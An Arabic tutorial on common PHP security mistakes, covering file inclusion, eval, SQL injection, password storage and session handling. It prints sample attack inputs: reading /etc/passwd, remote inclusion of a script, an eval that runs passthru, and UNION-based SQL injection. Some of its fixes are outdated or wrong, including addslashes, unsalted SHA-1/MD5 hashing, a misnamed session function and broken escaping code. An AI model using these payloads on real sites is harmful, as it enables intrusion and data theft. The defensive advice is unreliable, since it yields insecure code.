أخطاء المبرمجين الأمنية فى بى اتش بى

أخطاء المبرمجين الأمنية فى PHP الحلقة(1)

أهمية هذا المقال لمبرمجى اللغة هو التعرف على الأخطاء الأمنية العامة التى من الممكن أن تخلق ثغرات فى برامجهم و مع أن معظم المبادىء التى سوف أذكرها لحقاً تعتبر من البديهيات و لكن عدد لا بأس به من المبرمجين لا ينتبهون إلى مثل هذه الأخطاء ، و للأسف نحن جميعاً نفتقد التدريب الجيد على مفردات برامج صنعناها سابقاً بمعنى أنه من الثابت علمياً أن تنقيح و تطوير برمجيات كتبتها من قبل هو بمثابة تدريب جيد جداً لك لتلافى أخطائك السابقة و ايضاً لجعل شفرتك تحقق غاية البرنامج من طريق أسهل او أقصر ، ما علينا فلنبدأ.

1- لا تضمن فى برنامجك أبداً ملف مدخل من قبل مستخدم إلا بعد التأكد من إسم الملف (هناك عدة طرق للتأكد بالجافاسكربت ، أو بالبى اتش بى) ، أى لا تستخدم أبداً include , require , أو أى من دوال التضمين لملفات مدخلة حتى اسمائها من قبل مستخدمين قبل التأكد من صحة المدخلات.

[code]

مثال

if(isset($page))

{

include($page);

}

[/code]

بما أنه لم يتم التأكد من إسم الملف $page و بناءً على أن register_globals فى وضع التشغيل مما يعنى أنه بإمكان المستخدم إدخال script.php?page=/etc/passwd

و بناءً على أنه عند تضمين أى إمتداد آخر غير بى اتش بى فإن مترجم اللغة يعرضه فى الصفحة كما هو إذا كان نص مثلاً ، تخيل أن شخصاً استطاع عرض /etc/passwd!!!!!

تأكد أيضاً من إعداد البى اتش بى الخاص بك حيث أن معظم الإعدادات يكون من المسموح فيها بتضمين ملفات من خوادم أخرى.

[code]

مثال

script.php?page=http://mysite.com/mal_script.php

[/code]

بإمكان هذا المستخدم تنفيذ أى شفرة على موقعك مثل التعامل مع SSI أو قواعد بياناتك و الحل هو التحقق من صحة مدخلات المستخدم بوضع قاعدة تحقق عملية تخدم غرض برنامجك.

[code]

مثال

$pages = array('index.html', 'page2.html', 'page3.html');

if( in_array($page, $pages) )

{

include($page);

{

else

{

die("Foot Bokra");

}

[/code]

2- تمرير القيم المدخلة من قبل المستخدم لى الدالة eval لأنك بكل بساطة تعطى المستخدم الحق فى تنفيذ أى أوامر مثل:

[code]

script.php?input=;passthru("cat /etc/paswd");

[/code]

و سوف يتسبب تنفيذ هذا الأمر إخراج ملف /etc/passwd.

إن إستخدام eval صحيح تماماً للتحقق من صحة مدخلات و لكن لابد من إستخدامها عند الضرورة ، لو أنك تستخدم فى برنامجك (Templates) مثلاً أو تستخدم الدالة لإستبدال المدخلات من قبل المستخدم ، إستخدم دالة sprintf بدلاً منها.

الحلقة (2)

3- تأكد من الخروج من إستعلامات قواعد البيانات SQL Statement بمعنى أن اللغة نفسها تحتوى على خاصية الخروج من جمل SQL بإضافة شرطة مائلة قبل حروف معينة أدخلت بواسطة GET , POST , COOKIE و إحدى الأمثلة على هذه الحروف هو العلامة () و لو أن المدخلات فى جملة الإستعلام تحتوى هذه العلامة فإن مترجم اللغة سوف يضيف تلقائياً شرطة مائلة لكى لا يتم معاملة الحرف () كجزء من الإستعلام ، مثلاً إذا أدخل المستخدم $name فى النموذج form و جملة الإستعلام كالآتى:

[code]

UPDATE users SET Name='$name' WHERE ID=1;

[/code]

إذا كان المتغير يحتوى على الحرف () فسوف يضاف الشرطة المائلة قبل الحرف و بالتالى لن يؤثر الحرف () على جملة الإستعلام ، لنتخيل أن المستخدم أدخل المعطيات التالية:

[code]

$name',Admin='1

[/code]

الآن إستطاع المستخدم إدخال متغير آخر فى جملة الإستعلام و بالتالى حصل على المعلومات المطلوبة ، بإمكانك إستخدام الدوال التالية

[code]

addslashes() أو mysql_escape_string()

[/code]

عند إستخدام متغيرات ممررة من خلال جملة الإستعلام و سوف يقوم بإدخالها المستخدم ، أيضاً الدالة magic_quotes_gpc فهى تضيف الشرطة المائلة تلقائياً و لكنها قد لا تكون فى وضع التشغيل و تستطيع إستخدام الدالة get_magic_quotes_gpc() لمعرفة إذا كانت فى وضع التشغيل أم لا و الأسهل هو إستخدام addslashes() من خلال حلقة تكرارية لإضافة الشرطة المائلة لكل المدخلات الممررة من قبل المستخدم.

4- عند تخزين كلمات المرور فى قاعدة البيانات تأكد من تشفيرها قبل التخزين فى قاعدة البيانات ، لأن قواعد البيانات غالباً ما تتبع حزمة الإستضافة الخاصة بك و غالباً أيضاً ما تكون الإستضافة تشاركية Shared Hosting إذن نستخلص أنك قد لا تعلم بعض الأشخاص المخولين بالدخول لقواعد البيانات ، بإستطاعتك تشفير كلمات المرور بإستخدام تقنيات عدة مثل 3DES أو AES5 و تستطيع فك التشفير لفترة بسيطة للتأكد من أن المستخدم قد أدخل كلمة المرور الصحيحة و الميزة الأساسية فى هذه الطرق هو أنها تعتمد فى التشفير و فك التشفير على مفتاح key يعرفه مدير الموقع ، و لكن هذه الطرق المذكورة بطيئة جداً و تعتمد على لوغاريتمات معقدة و الحل الأمثل لهذه المشكلة هو إستخدام إحدى دوال التشفير الرقمية Session hash functions مثل دالة SHA-1 أو md5.

الحلقة (3)

5- تابع أخطاء جمل إستعلام SQL

لنفترض أن جملة الإستعلام التى تستخدمها فى برنامجك للتأكد من إسم المستخدم و كلمة المرور كالآتى:

[code]

$stmnt = SELECT login_id FROM users WHERE user = '" .

$_POST["username"] . "' AND password = '" . $_POST["password"];

[/code]

لنفترض أيضاً أن المستخدم أدخل (#) بدلاً من كلمة المرور أى أن جملة الإستعلام أصبحت كالتالى:

[code]

SELECT login_id FROM users WHERE user = 'hani'; #' AND password = ''

[/code]

بمعنى أنه إستطاع تحويل باقى جملة الإستعلام إلى تعليق بإستخدام الرمز (#) و من ثم أصبحت كلمة المرور خالية!!

إذن كل ما استخدمه المهاجم هو غسم مستخدم مسجل فى قاعدة البيانات و بالتالى إستخدم الرمز (#) لقصر جملة الإستعلام عند الرمز (#) الذى أصبح ما بعده (بقية جملة الإستعلام) عبارة عن تعليق و الحل ذكرناه مسبقاً بإستخدام addslashes().

6- إستكمالاً لما سبق عن أهمية تشفير كلمات المرور ، بى اتش بى تدعم تلقائياً دوال SHA-1 و أيضاً MD5 الذى تم تطويره فى التسعينيات و لكنه يدعم تشفير حتى 128-bit فقط ، مع العلم أن SHA-1 يدعم حتى 160-bit و سوف نستخدمه كمثال:

[code]

$insertSql .= "'" . sha1($_POST["password1"]) . ", ";

[/code]

ربما تستغرب أننا لم نستخدم addslashes() كما أشرنا سابقاً و لكن لذلك سبب وجيه و هو أن SHA-1 تستخدم فقط الأرقام الستعشرية (Hexadecimal) أى (0 – 9 و A – F) بمعنى آخر الدالة لا تستخدم أى من الحروف الخطرة فى جمل الإستعلام مثل ().

بإمكانك التحقق من كلمتين المرور المشفرتين (المدخلة من قبل المستخدم ، و الموجودة مسبقاً فى قاعدة البيانات بإستخدام مثلاً:

[code]

$loginQuery .= " password = '". sha1($_POST["password"]) . "'";

[/code]

إذا تم التأكد من كلمة المرور المدخلة بأنها مطابقة لتلك فى قاعدة البيانات فسوف نبدأ الجلسات إذن و أخطائها الأمنية.

الحلقة (4)

7- الجلسات (Session)

أخطاء الجلسات الأمنية و التى تخلق ثغرات فى برنامجك تعتمد على ثلاثة طرق:

الطريقة الأولى هى الإعتراض أو التوقيف و يكون عن طريق إرسال معرف الجلسة كنص عادى عبر الشبكة و الحل لهذه الثغرة بإستخدام إتصال آمن بين المستخدم و الخادم SSL أو TLS على سبيل المثال ، و لا تنسى إستخدام الدالة session_set_cookie_params أو إعداد session.cookie_secure فى ملف ini ، و بهذه الطريقة عندما يطلب المستخدم صفحة معينة على الخادم فإن معرف الجلسة لن يرسل إلا إذا كان الإتصال مشفر بين الخادم و المستخدم.

الطريقة الثانية وهى التوقع فلو أن معرف الجلسة تم إختياره بشكل سىء (كأن يكون تعداداً تصاعدياً مثلاً) فإن المهاجم يستطيع تخمينه و بالتالى الحصول على معرف جلسة لا تخصه ، و الحل الأمثل هو ربط معرف الجلسة بشىء له علاقة بالمستخدم (جلب الـIP مثلاً) ثم إدخاله فى احدى دوال التشفير المذكورة سابقاً (SHA-1 أو MD5) و سوف يتم انتاج أرقام عشوائية بناءً على ذلك و لكن الخادم بإستطاعته مقارنتها و التأكد منها ما إذا كانت مملوكة للمستخدم أم لا.

الطريقة الثالثة و هى الإقتحام بالقوة أو بالأحرى البحث و تخمين طريقة عمل معرف الجلسة و من الممكن التخمين إذا كان المبرمج استخدم مثلاً أرقام ما بين 1 و 10.000 و الحل السابق يكفى لتفادى ذلك فقط تأكد من أن التشفير ليس أقل من 128-bit.

لنفرض أننا بدأنا جلسة ما بعد أن تأكدنا من كلمة مرور المستخدم session_start() لابد أن نعيد تصنيع معرف الجلسة خلال عملية الولوج و تعديل الـcookie عن طريق session_generate_id و بعد ذلك سوف نقوم بتخزين بعض البيانات التى حصلنا عليها من قاعدة البيانات فى الجلسة

[code]

$_SESSION["user"] = new User($userData->login_id, $userData->name, $userData->email, $userData->username);

[/code]

لاحظ المستخدم يتكون من: معرف الدخول login_id ، الإسم name ، البريد email ، إسم المستخدم username.

فى السطرين التاليين سوف نقوم بتخزين عنوان المستخدم IP و الوقت الذى بدأت فيه الجلسة

[code]

$_SESSION["IP"] = $_SERVER["REMOTE_ADDR"];

$_SESSION["timestamp"] = time();

[/code]

الآن تمت عملية تسجيل الدخول

حماية المحتوى و التحكم فى الوصول للبيانات:

للتحكم فى الوصول للبيانات بطريقة سهلة لابد من المراجعة على بيانات الدخول و من العوامل المؤثرة التى تخلق ثغرات أمنية هو كيف تتم المراجعة على البيانات و أين توضع بيانات المراجعة.

على سبيل المثال “includes/session.inc.php” يحتوى على وظائف المراجعة (تستطيع تضمينه مع الملفات التى تريد حمايتها( ، و أسهل الطرق للتأكد من أن المستخدم له حق دخول المنطقة المحمية و الوصول للبيانات هو التأكد من أن الجلسة تم إعدادها بشكل صحيح و أنها تحتوى بعض بيانات المستخدم خلال عملية تسجيل الدخول و أول الخطوات هو التأكد من أن المتغيرات محددة فى مصفوفة $_SESSION

[code]

if(!isset($_SESSION["user"])) {

die("Not logged in");

}

[/code]

أيضاً التأكد من معرف الدخول إذا كانت قيمته رقمية

[code]

if(!is_numeric($_SESSION["user"]->loginID)) {

die("Not logged in");

}

[/code]

الآن تأكدنا بشكل كبير من أن صاحب الجلسة قد مر بإجراءات تسجيل الدخول و بما أننا لا نعرف إذا كان المستخدم هو صاحب الجلسة الحقيقى فلابد أن نقارن عنوان الـIP بذلك المخزن لدينا إذا لم يكونا متطابقين فسوف نخرج المستخدم

[code]

if($_SESSION["IP"] != $_SERVER["REMOTE_ADDR"]) {

header("Location: user_logout.php");

}

[/code]

لو أن الوقت المخزن لدينا ليس أكثر من 30 دقيقة (1800 ثانية) سوف نقوم بتصفير الوقت و إعطاءه 30 دقيقة أخرى للتصفح و إذا كان أكثر سوف نقوم بإخراجه

[code]

if((time() - $_SESSION["timestamp"]) > 1800) {

header("Location: user_logout.php?timeOut=1 ");

}

else {

$_SESSION["timestamp"] = time();

}

[/code]

إن عملية إخراج المستخدم حاسمة جداً حيث أنه من المهم جداً قطع كل صلات البيانات المرتبطة بالجلسة أو بمعرف الجلسة عند إخراج المستخدم و السطر التالى لإخلاء المصفوفة وهذا يعنى أنه تم مسح البيانات السابقة حتى العنوان IP و التوقيت

[code]

$_SESSION = array();

[/code]

بعد ذلك نخبر مترجم اللغة بإنهاء الجلسة

[code]

session_destroy();

[/code]

أيضاً مهم جداً أن نمسح معرف الجلسة من الـcookie

[code]

unset($_COOKIE[session_name()]);

[/code]

الحلقة (5)

8- تابع أخطاء جمل إستعلام SQL

من أخطاء المبرمجين الأمنية الشائعة فى إستخدام جمل الإستعلام هو عدم التأكد من المتغيرات المدخلة إلى جملة الإستعلام مما قد يسبب وصولاً لبيانات غير مسموح الوصول لها و فى المثال التالى نستعرض إحدى الأخطاء الشائعة:

[code]

$id = $_GET["id"];

$result = mysql_query("SELECT * FROM `articles` where id=$id;");

[/code]

و بما أنه لم يتم التأكد من المتغير $id فإذا قام المستخدم بناءً على ما سبق بإدخال الجملة التالية فى شريط العنوان بالمتصفح –

[code]

Page.php?id=0 UNION SELECT * FROM `admin_users`

[/code]

أصبحت جملة الإستعلام كالآتى:

[code]

SELECT * FROM `articles` WHERE id=0

UNION SELECT * FROM `admin_users`;

[/code]

مما سوف تكون نتيجته إظهار كل محتويات الجدول `admin_users` و هى بيانات من المفترض أنها غير متاحة ، و الحل بما أن المتغير $id هو رقم إذن ينبغى التأكد من أنه رقم (فقط) و هناك طريقتين أرجح إستخدام ثانيهما ، أما الأولى فهى التأكد بإستخدام دالة intval ليصبح:

[code]

$id = intval($_GET["id"]);

[/code]

أما الطريقة الثانية و المفضلة فى رأيى:

[code]

$id = $_GET["id"];

If (!is_numeric($id)) {

………………….echo "foot bokra"

} else {

………………….continue

}

[/code]

و كمثال آخر و لكن المتغير عبارة عن نص:

[code]

$name = $_GET["name"];

$result = mysql_query("SELECT * FROM `articles`

WHERE title="$name";");

[/code]

و بما أنه لم يتم التأكد من المتغير $name فإذا قام المستخدم بناءً على ما سبق بإدخال الجملة التالية فى شريط العنوان بالمتصفح -

[code]

Page.php?name= UNION SELECT * FROM `admin_users`

WHERE name="%

[/code]

سوف تكون النتيجةإظهار كل محتويات الجدول `admin_users` و المفترض أنها غير متاحة و الحل بما أن المتغير $name هو متغير نصى إذن ينبغى التأكد أن المتغير المدخل $name يحتوى على نص (فقط) و هناك طريقتان للتحقق من أن المدخل نص (فقط) و إنهاء جملة الإستعلام ، أما الطريقة الأولى فهى:

[code]

$name = str_replace(""", """, $_GET["name"]);

[/code]

أما الطريقة الثانية فهى كالآتى:

[code]

$name = str_replace(""", "\"", $_GET["name"]);

[/code]

Post to Twitter Post to Delicious Post to Facebook

Leave a Reply

Seek in here
Translator
Archive